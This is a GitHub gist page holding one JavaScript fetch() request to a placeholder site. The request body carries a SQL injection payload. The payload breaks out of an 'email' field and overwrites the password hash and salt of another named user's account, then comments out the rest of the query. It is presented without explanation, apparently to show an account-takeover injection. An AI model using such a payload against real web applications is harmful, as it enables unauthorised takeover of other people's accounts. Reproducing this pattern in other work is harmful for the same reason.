Skip to content

Instantly share code, notes, and snippets.

@davidgilbertson
Last active September 22, 2019 08:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save davidgilbertson/ee74d4733d8be7e9e2c4e24bfff96cab to your computer and use it in GitHub Desktop.
Save davidgilbertson/ee74d4733d8be7e9e2c4e24bfff96cab to your computer and use it in GitHub Desktop.
fetch('https://blah.com/api/users', {
credentials: 'include',
headers: {
authorization: 'Bearer blah',
'content-type': 'application/x-www-form-urlencoded',
'sec-fetch-mode': 'cors',
'x-csrf-token': 'blah',
},
referrer: 'https://blah.com/blah',
referrerPolicy: 'no-referrer-when-downgrade',
body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453', salt = '8b7df143d91c716ecfa5fc1730022f6b421b05cedee8fd52b1fc65a96030ad52' WHERE username = 'user-two@gmail.com'; #`,
method: 'POST',
mode: 'cors',
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment